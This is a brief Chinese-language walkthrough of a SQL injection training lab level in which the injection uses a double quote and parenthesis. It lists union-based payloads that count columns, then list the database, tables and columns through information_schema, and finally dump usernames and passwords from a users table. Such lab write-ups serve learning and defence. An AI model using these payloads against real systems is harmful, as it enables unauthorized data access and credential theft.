一开始随便注了一下,发现和第三关类似,只是从单引号变成了双引号。

继续注入,与第三关类似。

然后判断列数,直接 ?id=3″) order by 4–+

发现它还是三列,然后就继续爆库名
?id=-3″) union select 1,2,database()–+
爆表名
?id=-3″) union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database()–+
爆字段名
?id=-3″) union select 1,2,group_concat(column_name)from information_schema.columns where table_name=‘users‘–+
爆数据
?id=-3″) union select 1,2,group_concat(0x5c,username,0x5c,password)from users–+
sqlmap 不做解释